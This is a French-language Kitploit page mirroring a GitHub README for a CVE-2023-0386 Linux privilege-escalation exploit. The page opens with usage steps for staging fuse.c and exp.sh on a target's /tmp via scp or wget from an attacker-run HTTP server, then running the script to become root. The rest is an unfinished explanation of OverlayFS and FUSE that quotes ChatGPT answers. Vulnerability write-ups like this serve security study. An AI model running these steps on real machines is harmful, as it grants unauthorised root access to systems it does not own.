Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-0386 — Exploit et analyse très simples pour CVE-2023-0386. Utilise C et sh. | Kitploit
Outils/GitHubGitHub/fanxiaoyao66/cve-2023-0386
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationÉvasion de ConteneurExploitation de Binaires
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

Exploit et analyse très simples pour CVE-2023-0386. Utilise C et sh.

Voir le dépôt
22414il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

typora-copy-images-to: ./image

CVE-2023-0386

Utilisation de l'exploit :

Premièrement : Téléversez fuse.c et exp.sh dans le répertoire /tmp.

  • Vous pouvez utiliser scp ou python3 -m http.server pour téléverser le fichier vers la cible.

    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
    

    ou

    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #your machine
    
    wget your_ip:8000/exp.sh
    wget your_ip:8000/fuse.c #target
    

Et ensuite :

cd /tmp
/bin/bash exp.sh

Maintenant, vous êtes root !

image-20230628154304898

Ce qui suit est une analyse détaillée de la CVE-2023-0386.


Hier aussi, j'ai passé la journée sur cette vulnérabilité. En résumé, lorsque OverlayFS copie un fichier de la couche inférieure vers la couche supérieure, il ne vérifie pas si l'utilisateur de l'espace de noms du fichier de la couche inférieure est mappé à l'espace de noms utilisateur actuel, ce qui permet de définir le bit suid pour élever ses privilèges.

Cela semble très abstrait. Pour comprendre ce problème, il faut d'abord connaître quelques points :

  • Qu'est-ce que l'OverlayFS ?
  • Qu'est-ce que FUSE ?
  • Qu'est-ce qu'un espace de noms utilisateur ?
  • Pourquoi cela permet-il une élévation de privilèges ?

Qu'est-ce que l'OverlayFS ?

ChatGPT : expliquez en détail ce qu'est OverlayFS sous Linux.

OverlayFS, également appelé système de fichiers Overlay, est un système de fichiers unifié (union filesystem) du noyau Linux. Il permet de superposer plusieurs systèmes de fichiers différents pour former une vue unique et cohérente. Il a été officiellement intégré au noyau dans la version Linux 3.18.

OverlayFS comporte trois composants importants : le système de fichiers inférieur (lower filesystem), le système de fichiers supérieur (upper filesystem) et le système de fichiers fusionné (merged filesystem). Le rôle de chaque partie est le suivant :

  1. Lower filesystem (système de fichiers inférieur) : c'est la couche de base, généralement en lecture seule. Tous les fichiers et répertoires proviennent initialement de cette couche.

  2. Upper filesystem (système de fichiers supérieur) : c'est la couche supérieure, généralement accessible en écriture. Lorsque nous effectuons une opération d'écriture sur le système de fichiers, toutes les modifications sont enregistrées dans cette couche. Si un fichier existe dans le lower filesystem mais que nous voulons le modifier, une copie de ce fichier est créée dans l'upper filesystem, puis modifiée. Ce processus est appelé « copy-up ».

  3. Merged filesystem (système de fichiers fusionné) : c'est la vue finale d'OverlayFS, qui combine les systèmes de fichiers inférieur et supérieur. Lors d'une opération de lecture, OverlayFS recherche d'abord le fichier dans l'upper filesystem ; s'il ne le trouve pas, il le recherche ensuite dans le lower filesystem.

La vue logique de cette structure est la suivante :

     ________________
    |                |
    |  Merged View   |
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Lower   |    |  Upper   |
| (read-only)|  | (read-write)|
|____________|  |____________|

Une application importante d'OverlayFS concerne les environnements conteneurisés, en particulier Docker. Dans Docker, chaque couche d'image est en lecture seule et peut servir de lower filesystem pour d'autres conteneurs. Lorsque nous démarrons un nouveau conteneur, Docker crée pour lui un nouvel upper filesystem vide. Ainsi, toutes les modifications apportées au conteneur (par exemple l'installation d'un nouveau logiciel) n'affectent que l'upper filesystem et non les couches d'image partagées.

De plus, comme OverlayFS permet de monter plusieurs lower filesystem sous une couche supérieure, il est possible de créer des systèmes de fichiers à plusieurs niveaux, ce qui est largement utilisé dans les couches d'images Docker.


En résumé, les fichiers de la couche inférieure sont en lecture seule, ceux de la couche supérieure sont en lecture-écriture, et la couche fusionnée combine les fichiers des deux premières pour afficher une vue unifiée. Lorsque, dans la couche fusionnée, nous modifions un fichier qui existe dans la couche inférieure mais pas dans la couche supérieure, une copie exacte du fichier de la couche inférieure est créée dans la couche supérieure afin d'y apporter des modifications. C'est aussi le point de déclenchement de la vulnérabilité.

Qu'est-ce que FUSE ?

GPT : vous êtes un expert du noyau Linux, veuillez maintenant expliquer en détail ce qu'est FUSE ?

FUSE (Filesystem in Userspace) est un mécanisme permettant de créer des systèmes de fichiers dans l'espace utilisateur. C'est une interface fournie par le noyau Linux qui permet aux utilisateurs de développer et d'exécuter leurs propres systèmes de fichiers sans modifier le code du noyau.

L'objectif principal de FUSE est de simplifier le développement et l'utilisation de nouveaux systèmes de fichiers. Avec FUSE, vous pouvez créer des systèmes de fichiers personnalisés sans avoir à connaître les détails de nombreuses API du noyau. C'est très utile pour le débogage, le prototypage rapide, la recherche universitaire, la mise en œuvre de systèmes de fichiers très particuliers (comme les systèmes de fichiers à chiffrement transparent ou les systèmes de fichiers réseau), etc.

Dans FUSE, la majeure partie de la logique du système de fichiers s'exécute dans l'espace utilisateur. Cela facilite le développement, car l'espace utilisateur offre un environnement plus convivial : vous pouvez utiliser n'importe quel langage de programmation, vous disposez de plus de bibliothèques, la gestion des erreurs est plus simple, etc. En revanche, cela signifie également que les systèmes de fichiers FUSE sont généralement plus lents que ceux de l'espace noyau, car ils nécessitent des changements de contexte fréquents entre l'espace utilisateur et l'espace noyau.

Un système de fichiers FUSE se compose généralement de deux parties :

  1. Un processus démon (daemon) de l'espace utilisateur qui implémente la logique réelle du système de fichiers.
  2. Le module FUSE de l'espace noyau, qui traite toutes les opérations du système de fichiers, les transmet au démon de l'espace utilisateur, puis renvoie le résultat à l'appelant.

Lors du développement d'un système de fichiers FUSE, vous devez implémenter une série de fonctions de rappel correspondant à diverses opérations du système de fichiers, comme ouvrir, lire, écrire des fichiers, etc. Lorsque ces opérations se produisent, le module du noyau FUSE appelle la fonction de rappel correspondante et renvoie le résultat à l'appelant.

En résumé, FUSE fournit un cadre puissant pour implémenter des systèmes de fichiers dans l'espace utilisateur. Il simplifie leur développement et permet également de les étendre et de les modifier de manière modulaire.


En fait, FUSE permet simplement à l'utilisateur de définir un système de fichiers personnalisé, ainsi que les fichiers qu'il contient.

Nous devons utiliser le langage C pour écrire le code lié à FUSE.

Qu'est-ce qu'un espace de noms utilisateur ?

Vous êtes un expert du noyau Linux, qu'est-ce qu'un espace de noms utilisateur ?

Télécharger l’outil